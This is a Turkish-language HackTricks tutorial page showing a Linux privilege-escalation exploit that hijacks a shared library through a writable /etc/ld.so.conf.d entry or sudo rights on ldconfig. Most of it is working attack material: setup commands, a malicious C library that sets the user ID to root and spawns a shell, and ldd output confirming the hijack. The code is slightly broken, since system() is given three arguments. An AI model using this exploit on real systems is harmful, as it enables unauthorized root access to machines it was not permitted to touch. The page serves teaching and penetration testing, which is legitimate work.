ld.so privesc exploit örneği

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Ortamı Hazırlama

Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz.

c
#include <stdio.h>
#include "libcustom.h"

int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
  1. Oluşturun bu dosyaları makinenizde aynı klasörde
  2. Derleyin kütüphaneyi: gcc -shared -o libcustom.so -fPIC libcustom.c
  3. Kopyalayın libcustom.so dosyasını /usr/lib: sudo cp libcustom.so /usr/lib (root yetkileri)
  4. Derleyin çalıştırılabilir dosyayı: gcc sharedvuln.c -o sharedvuln -lcustom

Ortamı kontrol et

lıbcustom.so'nun /usr/lib dizininden yüklenip yüklenmediğini ve ikili dosyayı çalıştırıp çalıştıramadığınızı kontrol edin.

$ ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)

$ ./sharedvuln
Welcome to my amazing application!
Hi

Exploit

Bu senaryoda birinin /etc/ld.so.conf/ içinde savunmasız bir giriş oluşturduğunu varsayacağız:

bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf

Hassas klasör /home/ubuntu/lib (yazılabilir erişimimizin olduğu yer).
Aşağıdaki kodu o yolun içinde indirin ve derleyin:

c
//gcc -shared -o libcustom.so -fPIC libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}

Artık yanlış yapılandırılmış yolun içinde kötü niyetli libcustom kütüphanesini oluşturduğumuza göre, bir yeniden başlatma veya root kullanıcısının ldconfig komutunu çalıştırmasını beklememiz gerekiyor (eğer bu ikiliyi sudo olarak çalıştırabiliyorsanız veya suid biti varsa, bunu kendiniz çalıştırabileceksiniz).

Bu gerçekleştiğinde, sharevuln yürütülebilir dosyasının libcustom.so kütüphanesini nereden yüklediğini yeniden kontrol edin:

c
$ldd sharedvuln
linux-vdso.so.1 =>  (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)

Gördüğünüz gibi, /home/ubuntu/lib'den yüklüyor ve herhangi bir kullanıcı bunu çalıştırırsa, bir shell çalıştırılacaktır:

c
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu

note

Bu örnekte ayrıcalıkları yükseltmediğimizi, ancak yürütülen komutları değiştirerek ve kötü niyetli ikili dosyayı çalıştırması için root veya başka bir ayrıcalıklı kullanıcının beklemesiyle ayrıcalıkları yükseltebileceğimizi unutmayın.

Diğer yanlış yapılandırmalar - Aynı zafiyet

Önceki örnekte, bir yöneticinin /etc/ld.so.conf.d/ içindeki bir yapılandırma dosyasına ayrıcalıksız bir klasör ayarladığı bir yanlış yapılandırmayı taklit ettik.
Ancak, /etc/ld.so.conf.d içindeki bazı yapılandırma dosyalarında, /etc/ld.so.conf.d klasöründe veya /etc/ld.so.conf dosyasında yazma izinleriniz varsa, aynı zafiyeti yapılandırabilir ve bunu istismar edebilirsiniz.

İstismar 2

ldconfig üzerinde sudo ayrıcalıklarınız olduğunu varsayalım.
ldconfig'e konfigürasyon dosyalarının nereden yükleneceğini belirtebilirsiniz, böylece ldconfig'in rastgele klasörleri yüklemesinden faydalanabiliriz.
Şimdi, "/tmp" yüklemek için gereken dosyaları ve klasörleri oluşturalım:

bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf

Şimdi, önceki istismarda belirtildiği gibi, kötü niyetli kütüphaneyi /tmp içinde oluşturun.
Ve sonunda, yolu yükleyelim ve kütüphanenin nereden yüklendiğini kontrol edelim:

bash
ldconfig -f fake.ld.so.conf

ldd sharedvuln
linux-vdso.so.1 =>  (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)

Gördüğünüz gibi, ldconfig üzerinde sudo ayrıcalıklarına sahip olmak aynı zafiyeti istismar etmenizi sağlar.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin